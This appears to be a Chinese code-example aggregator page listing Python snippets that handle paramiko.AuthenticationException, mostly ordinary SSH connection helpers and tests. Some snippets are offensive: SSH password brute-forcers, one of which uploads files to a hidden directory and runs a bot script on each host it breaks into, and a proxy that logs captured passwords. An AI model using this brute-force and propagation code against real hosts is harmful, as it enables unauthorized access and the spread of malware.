我们从Python开源项目中,提取了以下44个代码示例,用于说明如何使用paramiko.AuthenticationException()。
def loginandcopy(hostname,uname,pwd,sfile,tfile): try: log.info("Establishing ssh connection") client = getsshClient() client.load_system_host_keys() client.connect(hostname)#,username=uname)#,password=pwd) except paramiko.AuthenticationException: print("Authentication failed, please verify your credentials: %s") except paramiko.SSHException as sshException: print("Unable to establish SSH connection: %s" % sshException) except paramiko.BadHostKeyException as badHostKeyException: print("Unable to verify server's host key: %s" % badHostKeyException) except Exception as e: print(e.args) try: log.info("Getting SCP Client") scpclient = scp.SCPClient(client.get_transport()) log.info(scpclient) log.info("Hostname: %s", hostname) log.info("source file: %s", sfile) log.info("target file: %s", tfile) scpclient.put(sfile,tfile) except scp.SCPException as e: print("Operation error: %s", e)
def loginandrun(hostname,uname,pwd,command): try: log.info("Establishing ssh connection") client = getsshClient() client.load_system_host_keys() client.connect(hostname)#,username=uname)#,password=pwd) except paramiko.AuthenticationException: print("Authentication failed, please verify your credentials: %s") except paramiko.SSHException as sshException: print("Unable to establish SSH connection: %s" % sshException) except paramiko.BadHostKeyException as badHostKeyException: print("Unable to verify server's host key: %s" % badHostKeyException) try: stdin, stdout, stderr = client.exec_command(command) result = stderr.read() if len(result) > 0: print("hit error" + result) except Exception as e: print("Operation error: %s", e) # Any new implementation to use this method
def loginandcopydir(hostname,uname,pwd,sfile,tfile,recursive,preserve_times): try: log.info("Establishing ssh connection") client = getsshClient() client.load_system_host_keys() client.connect(hostname) #,username=uname)#,password=pwd) except paramiko.AuthenticationException: print("Authentication failed, please verify your credentials: %s") except paramiko.SSHException as sshException: print("Unable to establish SSH connection: %s" % sshException) except paramiko.BadHostKeyException as badHostKeyException: print("Unable to verify server's host key: %s" % badHostKeyException) except Exception as e: print(e.args) try: scpclient = scp.SCPClient(client.get_transport()) scpclient.put(sfile,tfile,recursive,preserve_times) except scp.SCPException as e: print("Operation error: %s", e) # Deprecated
def check(self): url = "{}:{}/img/favicon.png?v=6.0.1-1213".format(self.target, self.port) response = http_request(method="GET", url=url) if response is not None and response.status_code == 200: ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) target = self.target.replace("http://", "").replace("https://", "") try: ssh.connect(target, self.ssh_port, timeout=5, username=random_text(8), password=random_text(8)) except paramiko.AuthenticationException: return True # target is vulnerable except Exception: pass return False # target is not vulnerable
def connect(self): """Call to set connection with remote client.""" try: self.session = paramiko.SSHClient() self.session.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.session.connect( self.client_.ip, username=self.client_.user, password=self.client_.pass_) self.SFTP = self.session.open_sftp() except (paramiko.AuthenticationException, paramiko.ssh_exception.NoValidConnectionsError) as e: print(colored("> {}".format(e), 'red')) self.logger.error(e) sys.exit()
def brute_ssh(self, host): global passwords ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) for pswd in passwords: try: ssh.connect(host, port=22, username="root", password=pswd) sftp = ssh.open_sftp() ssh.exec_command("cd ..") ssh.exec_command("mkdir .etc") ssh.exec_command("cd .etc") for file in os.listdir("SSH_files_linux"): sftp.put(file, ".etc") sftp.close() ssh.exec_command("chmod +x ActualBot.py") ssh.exec_command("./ActualBot.py") ssh.close() except paramiko.AuthenticationException: pass except socket.error: pass return None
def _try_passwordless_paramiko(server, keyfile): """Try passwordless login with paramiko.""" if paramiko is None: msg = "Paramiko unavaliable, " if sys.platform == 'win32': msg += "Paramiko is required for ssh tunneled connections on Windows." else: msg += "use OpenSSH." raise ImportError(msg) username, server, port = _split_server(server) client = paramiko.SSHClient() client.load_system_host_keys() client.set_missing_host_key_policy(paramiko.WarningPolicy()) try: client.connect(server, port, username=username, key_filename=keyfile, look_for_keys=True) except paramiko.AuthenticationException: return False else: client.close() return True
def ssh(config, host): """ Check that a host is running SSH :param config: Unused :param host: The host to check :return: 3-tuple of (success, name, message) success: Boolean value indicating if there is a problem or not name: DNS name message: String describing the status """ del config name = host try: ssh_conn = paramiko.SSHClient() ssh_conn.set_missing_host_key_policy( paramiko.client.MissingHostKeyPolicy()) ssh_conn.connect(host) return True except (paramiko.BadHostKeyException, paramiko.AuthenticationException, paramiko.SSHException, socket.error) as e: return (False, name, "Unable to SSH to %s %s %s" % (host, e.__class__, e))
def Brute_Thread(ip,username,passwd): ssh=paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) global n,flag,flag1 n=n+1 try: ssh.connect(ip,username=username,password=passwd) except paramiko.AuthenticationException: print Fore.RED+"[-]Username: %s\tPassword: %s failed."%(username,passwd) + Fore.RESET else: print Fore.GREEN+"\n********************************************************" print "[#]Username: %s\tPassword: %s Found........!!!"%(username,passwd) print "********************************************************"+Fore.RESET flag=1 flag1=1 print Fore.RED+"\nFound correct password after %s attempts..." %n +Fore.RESET return ssh.close() return
def check_connect(request): if request.method == 'POST': data = json.loads(request.body) ip = data.get("ip") port = int(data.get("port")) uname = data.get("uname") password = data.get("password") ssh = paramiko.SSHClient() ssh.load_system_host_keys() try: ssh.connect(ip, port, uname, password) except paramiko.AuthenticationException: ssh = None if ssh is not None: r = redis.Redis(host='localhost', port=6379, db=0) if not r.get(ip): r.set(ip, [port, uname, password]) return HttpResponse(json.dumps({"result": "success"}), content_type="application/json") else: return HttpResponse(json.dumps({"result": "failed"}), content_type="application/json") else: return Http404
def check_server( host, user, passwd ): ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy( paramiko.AutoAddPolicy() ) try: ssh.connect( host, port=22, username=user, password=passwd, timeout=10 ) printq.put( "[+] Login success: {}:{}@{}".format( user, passwd, host ) ) ( stdin, stdout, stderr ) = ssh.exec_command( "id" ) result = " ".join( [ line.rstrip( "\n" ) for line in stdout.readlines() ] ).rstrip( "\n" ) if "uid=0" in result: status = "root privs" printq.put( "[+] Login success: {}:{}@{} - {}".format( user, passwd, host, status ) ) else: printq.put( "[+] Login success: {}:{}@{}".format( user, passwd, host ) ) except paramiko.AuthenticationException: printq.put( "[!] Login failed: {}:{}@{}".format( user, passwd, host ) ) except socket.error: printq.put( "[!] Socket Error... skipping: {}:{}@{}".format( user, passwd, host ) ) except paramiko.ssh_exception.SSHException: printq.put( "[!] Socket Error... skipping: {}:{}@{}".format( user, passwd, host ) ) except Exception as ERROR: printq.put( "[!] Error - {}... skipping: {}:{}@{}".format( ERROR, user, passwd, host ) ) ssh.close()
def ssh_connect(cf): """ this is adapted from code by Sebastian Dahlgren http://sebastiandahlgren.se/2012/10/11/using-paramiko-to-send-ssh-commands/ """ try: ssh = paramiko.SSHClient() ssh.load_system_host_keys() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(cf.server,username=cf.username) print("Connected to %s" % cf.server) except paramiko.AuthenticationException as e: print("Authentication failed when connecting to %s" % cf.server) print("error:",e) sys.exit(1) except Exception as e: print("Couldn't establish an ssh connection to %s" % cf.server) print("error:", e) sys.exit(1) return ssh
def connect(self): """Connect to host """ try: self.client.connect(self.host, username=self.username, password=self.password, port=self.port, pkey=self.pkey, timeout=self.timeout) except paramiko.AuthenticationException as e: raise DaskEc2Exception("Authentication Error to host '%s'" % self.host) except sock_gaierror as e: raise DaskEc2Exception("Unknown host '%s'" % self.host) except sock_error as e: raise DaskEc2Exception("Error connecting to host '%s:%s'\n%s" % (self.host, self.port, e)) except paramiko.SSHException as e: raise DaskEc2Exception("General SSH error - %s" % e)
def sftp_conn(self): """""" try: self.transport = paramiko.Transport((self.host, self.port)) self.transport.connect(username = self.username, password = self.password) self.sftp = paramiko.SFTPClient.from_transport(self.transport) return True except paramiko.AuthenticationException: G.log(G.ERROR, "SFTP Authentication failed when connecting to %s" % self.host) return False except: G.log(G.ERROR, "SFTP Could not SSH to %s, waiting for it to start" % self.host) return False #----------------------------------------------------------------------
def trySSHConnect(self,host, portNum): paramiko.util.log_to_file ('paramiko.log') try: self.ssh = paramiko.SSHClient() self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) self.ssh.connect(host,port=portNum,username="pi", password="raspberry") self.ssh.get_transport().window_size = 3 * 1024 * 1024 command='python /home/pi/Desktop/control_gpio_pi/initial_check.py' stdin,stdout,stderr = self.ssh.exec_command(command) print('\nstout:',stdout.read()) except paramiko.AuthenticationException: print ("Authentication failed!") return -1 except paramiko.BadHostKeyException: print ("BadHostKey Exception!") return -1 except paramiko.SSHException: print ("SSH Exception!") self.ssh.close() return -1 except socket.error as e: print ("Socket error ", e) return -1 except: print ("Could not SSH to %s, unhandled exception" % host) return -1 print ("Made connection to " + host + ":" + str(portNum)) return 0
def check_auth_password(self, username, password): self.log.info("SSHServer: got username:%s password:%s" \ % (username, password)) try: # Try the authentication to the server and return the response self.sshproto.destt.auth_password(username, password) except paramiko.AuthenticationException: self.log.error("SSHProtocol: BAAAD AUTH") return paramiko.AUTH_FAILED return paramiko.AUTH_SUCCESSFUL #if (username == 'sshtest') and (password == 'Intrepi0wn!'): #return paramiko.AUTH_SUCCESSFUL return paramiko.AUTH_FAILED
def exec_cmd(self, ip_addr, username, password, cmd, ssh_log=None, look_for_keys=True, key_filename=None): if ssh_log is not None: self.SSH_LOG = ssh_log if self.log.get_level() == Logger.DEBUG: paramiko.util.log_to_file(self.SSH_LOG) ssh = paramiko.SSHClient() ssh.load_system_host_keys() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect( ip_addr, port=self.SWITCH_PORT, username=username, password=password, look_for_keys=look_for_keys, key_filename=key_filename) except ( paramiko.BadHostKeyException, paramiko.AuthenticationException, paramiko.SSHException, socket.error, BaseException) as exc: self.log.error('%s: %s' % (ip_addr, str(exc))) raise SSH_Exception('SSH connection Failure - {}'.format(exc)) # sys.exit(1) try: _, stdout, stderr = ssh.exec_command(cmd) except paramiko.SSHException as exc: self.log.error('%s: %s, %s' % (ip_addr, str(exc), stderr.read())) sys.exit(1) stdout_ = stdout.read() stderr_ = stderr.read() status = stdout.channel.recv_exit_status() ssh.close() return status, stdout_, stderr_
def __init__(self, host, log=None, ssh_log=None, username=None, password=None, look_for_keys=True, key_filename=None): paramiko.SSHClient.__init__(self) self.host = host self.log = log self.ssh_log = ssh_log if ssh_log is not None: paramiko.util.log_to_file(ssh_log) elif log is not None: if self.log.get_level() == Logger.DEBUG: ssh_log = FILE_PATH[:FILE_PATH.rfind('/')] ssh_log += '/ssh_paramiko.log' paramiko.util.log_to_file(ssh_log) if key_filename is None: self.load_system_host_keys() self.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: self.connect( host, username=username, password=password, look_for_keys=look_for_keys, key_filename=key_filename) except ( paramiko.BadHostKeyException, paramiko.AuthenticationException, paramiko.SSHException, socket.error, BaseException) as exc: if log is not None: self.log.error('%s: %s' % (host, str(exc))) else: print('%s: %s' % (host, str(exc))) raise SSH_Exception('Connection Failure - {}'.format(exc))
def __init__ (self, server_ctl, session_class, extra_args, server, newsocket, addr, debug): self.session_class = session_class self.extra_args = extra_args self.server = server self.client_socket = newsocket self.client_addr = addr self.debug = debug self.server_ctl = server_ctl self.sessions = [] try: if self.debug: logger.debug("%s: Opening SSH connection", str(self)) self.ssh = ssh.Transport(self.client_socket) self.ssh.add_server_key(self.server.host_key) self.ssh.start_server(server=self.server_ctl) except ssh.AuthenticationException as error: self.client_socket.close() self.client_socket = None logger.error("Authentication failed: %s", str(error)) raise self.lock = threading.Lock() self.running = True self.thread = threading.Thread(None, self._accept_chan_thread, name="SSHAcceptThread") self.thread.daemon = True self.thread.start()
def GetDeviceConfig(ip,command,delay_factor=2,max_loops=30): output = str() try: session = paramiko.SSHClient() session.set_missing_host_key_policy(paramiko.AutoAddPolicy()) session.connect(ip, username = username, password = password) connection = session.invoke_shell() connection.send("term len 0\n") connection.send(command) for i in xrange(max_loops): time.sleep(2 * delay_factor) if connection.recv_ready(): output += connection.recv(MAX_BUFFER) # Check for Invalid command if 'invalid' in output.lower(): message = "Invalid Command sent: {}, error message: {}".format(command, output) print 'Invalid comamnd found...', message else: print "recv_ready = False " print "\nDONE for device %s" % ip session.close() return output except paramiko.AuthenticationException: print "* Invalid username or password. \n* Please check the username/password file or the device configuration!", ip pass except Exception as e: print 'Error in connection {} , Device : {}'.format(e , ip) pass #Open SSHv2 connection to devices
def connect(self, host, userid, password=None, ssh_key_string=None): _method_ = "RhelPlugin.connect" self.userid = userid self.password = password try: self.client = paramiko.SSHClient() self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if ssh_key_string: private_key = paramiko.RSAKey.from_private_key(StringIO(ssh_key_string), password) self.client.connect(host, username=userid, pkey=private_key, timeout=30, allow_agent=False) else: self.client.connect(host, username=userid, password=password, timeout=30, allow_agent=False) if not self._is_guest_rhel(): raise exceptions.InvalidDeviceException( "Device is not a RHEL Device") except paramiko.AuthenticationException: logging.error("%s::userid/password combination not valid. host=%s userid=%s", _method_, host, userid) raise exceptions.AuthenticationException( "userid/password combination not valid") except (paramiko.ssh_exception.SSHException, OSError, socket.timeout) as e: logging.exception(e) logging.error("%s::Connection timed out. host=%s", _method_, host) raise exceptions.ConnectionException("Unable to ssh to the device")
def connect(self, host, userid, password, ssh_key_string=None): _method_ = "UbuntuPlugin.connect" try: self.userid = userid self.password = password self.client = paramiko.SSHClient() self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if ssh_key_string: private_key = paramiko.RSAKey.from_private_key(StringIO(ssh_key_string), password) self.client.connect(host, username=userid, pkey=private_key, timeout=30, allow_agent=False) else: self.client.connect(host, username=userid, password=password, timeout=30, allow_agent=False) if not self._is_ubuntu(): raise exceptions.InvalidDeviceException( "Device is not a Ubuntu Device") except paramiko.AuthenticationException: logging.error("%s::userid/password combination not valid. host=%s userid=%s", _method_, host, userid) raise exceptions.AuthenticationException( "userid/password combination not valid") except (paramiko.ssh_exception.SSHException, OSError, socket.timeout) as e: logging.exception(e) logging.error("%s::Connection timed out. host=%s", _method_, host) raise exceptions.ConnectionException("Unable to ssh to the device")
def connect(self, host, userid, password=None, ssh_key_string=None): _method_ = "MLNXOSPlugin.connect" self.host = host self.userid = userid try: self.client = paramiko.SSHClient() self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if ssh_key_string: private_key = paramiko.RSAKey.from_private_key(StringIO(ssh_key_string), password) self.client.connect(host, username=userid, pkey=private_key, timeout=30, allow_agent=False) else: self.client.connect(host, username=userid, password=password, timeout=30, allow_agent=False) if not self._is_mellanox_switch(): raise exceptions.InvalidDeviceException( "Device is not a Mellanox Switch") except paramiko.AuthenticationException: logging.error("%s::userid/password combination not valid. host=%s userid=%s", _method_, host, userid) raise exceptions.AuthenticationException( "userid/password combination not valid") except (paramiko.ssh_exception.SSHException, OSError, socket.timeout) as e: logging.exception(e) logging.error("%s::Connection timed out. host=%s", _method_, host) raise exceptions.ConnectionException("Unable to ssh to the device")
def connect(self, host, userid, password=None, ssh_key_string=None): _method_ = "RackSwitchPlugin.connect" self.host = host self.userid = userid self.password = password try: self.client = paramiko.SSHClient() self.client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) if ssh_key_string: private_key = paramiko.RSAKey.from_private_key(StringIO(ssh_key_string), password) self.client.connect(host, username=userid, pkey=private_key, timeout=30, allow_agent=False) else: self.client.connect(host, username=userid, password=password, timeout=30, allow_agent=False, look_for_keys=False) if not self._is_rack_switch(): raise exceptions.DeviceException( "Device is not a Lenovo Rack Switch") except paramiko.AuthenticationException: logging.error("%s::userid/password combination not valid. host=%s userid=%s", _method_, host, userid) raise exceptions.AuthenticationException( "userid/password combination not valid") except (paramiko.ssh_exception.SSHException, OSError, socket.timeout) as e: logging.exception(e) logging.error("%s::Connection timed out. host=%s", _method_, host) raise exceptions.ConnectionException("Unable to ssh to the device")
def test_login_false_username_ssh(self, credentials): """Verify AuthenticationException in case Incorrect username for ssh object. """ ssh_conn = clissh.CLISSH(credentials[0]) with pytest.raises(paramiko.AuthenticationException): ssh_conn = clissh.CLISSH(credentials[0]) ssh_conn.login(ssh_conn.randstr(30), credentials[2], timeout=5)
def test_login_false_username_telnet(self, credentials): """Verify AuthenticationException in case Incorrect username for telnet object. """ telnet_conn = clitelnet.TelnetCMD(credentials[0]) with pytest.raises(CLIException): telnet_conn = clitelnet.TelnetCMD(credentials[0]) telnet_conn.login(telnet_conn.randstr(30), credentials[2], timeout=5)
def test_login_false_userpass_ssh(self, credentials): """Verify AuthenticationException in case Incorrect password for ssh object. """ ssh_conn = clissh.CLISSH(credentials[0]) with pytest.raises(paramiko.AuthenticationException): ssh_conn = clissh.CLISSH(credentials[0]) ssh_conn.login(credentials[1], ssh_conn.randstr(30), timeout=5)
def test_login_false_userpass_telnet(self, credentials): """Verify AuthenticationException in case Incorrect password for telnet object. """ telnet_conn = clitelnet.TelnetCMD(credentials[0]) with pytest.raises(CLIException): telnet_conn = clitelnet.TelnetCMD(credentials[0]) telnet_conn.login(credentials[1], telnet_conn.randstr(30), timeout=5) # Negative tests for nns module isn't implemented, because nns module always in 'login' mode
def host_contactable(self, address): try: # TODO: Better way to check this? result = self._ssh_address( address, "echo 'Checking if node is ready to receive commands.'", expected_return_code=None ) except socket.error: logger.debug("Unknown socket error when checking %s" % address) return False except paramiko.AuthenticationException, e: logger.debug("Auth error when checking %s: %s" % (address, e)) return False except paramiko.SSHException, e: logger.debug("General SSH error when checking %s: %s" % (address, e)) return False except EOFError: logger.debug("Connection unexpectedly killed while checking %s" % address) return False if not result.rc == 0: # Wait, what? echo returned !0? How is that possible? logger.debug("exit status %d from echo on %s: inconceivable!" % (result.rc, address)) return False return True
def _try_ssh_cmd(self, agent_ssh, auth_args, cmd): from chroma_core.services.job_scheduler.agent_rpc import AgentException try: return agent_ssh.ssh(cmd, auth_args = auth_args) except (AuthenticationException, SSHException): raise except Exception, e: # Re-raise wrapped in an AgentException raise AgentException(agent_ssh.address, "Unhandled exception: %s" % e, ", ".join(auth_args), '\n'.join(traceback.format_exception(*(sys.exc_info()))))
def seek_for_pigrows_click(self, e): print("seeking for pigrows...") number_of_tries_per_host = 1 pi_link_pnl.target_ip = self.tb_ip.GetValue() pi_link_pnl.target_user = self.tb_user.GetValue() pi_link_pnl.target_pass = self.tb_pass.GetValue() if pi_link_pnl.target_ip.split(".")[3] == '': pi_link_pnl.target_ip = pi_link_pnl.target_ip + '0' start_from = pi_link_pnl.target_ip.split(".")[3] lastdigits = len(str(start_from)) hostrange = pi_link_pnl.target_ip[:-lastdigits] #Iterate through the ip_to_test and stop when pigrow is found for ip_to_test in range(int(start_from)+1,255): host = hostrange + str(ip_to_test) pi_link_pnl.target_ip = self.tb_ip.SetValue(host) seek_attempt = 1 log_on_test = False while True: print("Trying to connect to " + host) try: ssh.connect(host, username=pi_link_pnl.target_user, password=pi_link_pnl.target_pass, timeout=3) print("Connected to " + host) log_on_test = True box_name = self.get_box_name() print("Pigrow Found; " + str(box_name)) self.set_link_pi_text(log_on_test, box_name) return box_name #this just exits the loop except paramiko.AuthenticationException: print("Authentication failed when connecting to " + str(host)) except Exception as e: print("Could not SSH to " + host + " because:" + str(e)) seek_attempt += 1 # check if final attempt and if so stop trying if seek_attempt == number_of_tries_per_host + 1: print("Could not connect to " + host + " Giving up") break #end while loop and look at next host
def _connect(self,ip,port,user,sock=None): sshClient = paramiko.SSHClient() sshClient.set_missing_host_key_policy(paramiko.AutoAddPolicy()) tries = 0 sshtry = state.sshtry sshTimeOut = state.sshTimeOut while True: try: tries += 1 sshClient.connect(ip,int(port),user,timeout=sshTimeOut,sock=sock,key_filename=["/home/astd/.ssh/authorized_keys","/home/astd/.ssh/id_rsa"]) sshClient = sshClient return sshClient except paramiko.BadHostKeyException, e: raise NetworkError("Host key for %s did not match pre-existing key! Server's key was changed recently, or possible man-in-the-middle attack." % ip, e) except ( paramiko.AuthenticationException, paramiko.PasswordRequiredException, paramiko.SSHException ), e: msg = str(e) #if e.__class__ is paramiko.SSHException and msg == 'Error reading SSH protocol banner': if e.__class__ is paramiko.SSHException and msg.startswith('Error reading SSH protocol banner'): #print "WARNNING: reconnect ip:%s %s"%(self.ip,msg) if tries < sshtry: time.sleep(1) continue else: raise Exception(e) else: raise Exception(e) except Exception,e: if str(e) == "timed out" and tries < sshtry: #print "Warnning %s:%s,retries ..."%(ip,str(e)) time.sleep(1) continue raise e
def __init__(self,ip,port=22,user="astd"): self.ip = ip self.port = port self.user = user sshClient = paramiko.SSHClient() sshClient.set_missing_host_key_policy(paramiko.AutoAddPolicy()) tries = 0 sshtry = state.sshtry while True: try: tries += 1 sshClient.connect(ip,port,user,timeout=5,key_filename=["/home/astd/.ssh/authorized_keys","/home/astd/.ssh/id_rsa"]) self.sshClient = sshClient self.transport = sshClient.get_transport() break except paramiko.BadHostKeyException, e: raise NetworkError("Host key for %s did not match pre-existing key! Server's key was changed recently, or possible man-in-the-middle attack." % ip, e) except ( paramiko.AuthenticationException, paramiko.PasswordRequiredException, paramiko.SSHException ), e: msg = str(e) if e.__class__ is paramiko.SSHException and msg == 'Error reading SSH protocol banner': if tries < sshtry: continue else: raise Exception(e) else: raise Exception(e) except Exception,e: raise Exception(e)
def connect(self): sshClient = paramiko.SSHClient() sshClient.set_missing_host_key_policy(paramiko.AutoAddPolicy()) tries = 0 sshtry = state.sshtry while True: try: tries += 1 sshClient.connect(self.ip,self.port,self.user,timeout=15,key_filename=["/home/astd/.ssh/authorized_keys","/home/astd/.ssh/id_rsa"]) self.sshClient = sshClient self.transport = sshClient.get_transport() break except paramiko.BadHostKeyException, e: raise NetworkError("Host key for %s did not match pre-existing key! Server's key was changed recently, or possible man-in-the-middle attack." % ip, e) except ( paramiko.AuthenticationException, paramiko.PasswordRequiredException, paramiko.SSHException ), e: msg = str(e) #if e.__class__ is paramiko.SSHException and msg == 'Error reading SSH protocol banner': if e.__class__ is paramiko.SSHException and msg.startswith('Error reading SSH protocol banner'): #print "WARNNING: ip:%s %s"%(self.ip,msg) if tries < sshtry: time.sleep(1) continue else: raise Exception(e) else: raise Exception(e) except Exception,e: raise Exception(e)
def _connect_ssh(self): """Open a new SSH connection using Paramiko.""" try: self.printer.verbose("[SSH] Connecting ({}:{})...".format(self._ip, self._port)) ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) ssh.connect(self._ip, port=self._port, username=self._username, password=self._password, allow_agent=self._pub_key_auth, look_for_keys=self._pub_key_auth) self.printer.notify("[SSH] Connected ({}:{})".format(self._ip, self._port)) return ssh except paramiko.AuthenticationException as e: raise Exception('Authentication failed when connecting to %s. %s: %s' % (self._ip, type(e).__name__, e.message)) except paramiko.SSHException as e: raise Exception('Connection dropped. Please check your connection with the device, ' 'and reload the module. %s: %s' % (type(e).__name__, e.message)) except Exception as e: raise Exception('Could not open a connection to %s. %s - %s' % (self._ip, type(e).__name__, e.message))
def ssh_connect(username, password, stat = 0): ssh = paramiko.SSHClient(); ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: ssh.connect(host, port=22, username=username, password=password) except paramiko.AuthenticationException: stat = 1 except socket.error, e: stat = 2 ssh.close() return stat #Main Code
def test_set_credential(self): self.conf["racadm"] = {} self.conf["racadm"]["username"] = "admin" self.conf["racadm"]["password"] = "fake" # Start service node = model.CNode(self.conf) node.init() node.precheck() node.start() # Check process str_result = run_command(PS_RACADM, True, subprocess.PIPE, subprocess.PIPE)[1] assert "racadmsim test 0.0.0.0 10022 admin fake" in str_result # Connect with wrong credential self.ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: self.ssh.connect('127.0.0.1', username='admin', password='admin', port=10022) except paramiko.AuthenticationException: assert True else: assert False # Connect with correct credential self.ssh.connect('127.0.0.1', username='admin', password='fake', port=10022) self.channel = self.ssh.invoke_shell() # Test racadmsim is working self.channel.send("racadm help"+chr(13)) time.sleep(1) str_output = read_buffer(self.channel) assert "hwinventory" in str_output